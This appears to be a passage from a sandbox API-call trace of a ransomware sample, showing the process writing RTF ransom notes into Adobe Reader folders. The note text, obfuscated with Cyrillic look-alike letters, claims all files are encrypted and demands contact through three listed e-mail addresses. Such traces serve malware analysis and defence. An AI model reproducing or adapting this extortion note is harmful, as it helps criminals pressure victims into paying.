TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.958] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.959] CloseHandle (hObject=0x1cc) returned 1 [0033.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\!bwng_info!.rtf")) returned 0xffffffff [0033.959] GetLastError () returned 0x2 [0033.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 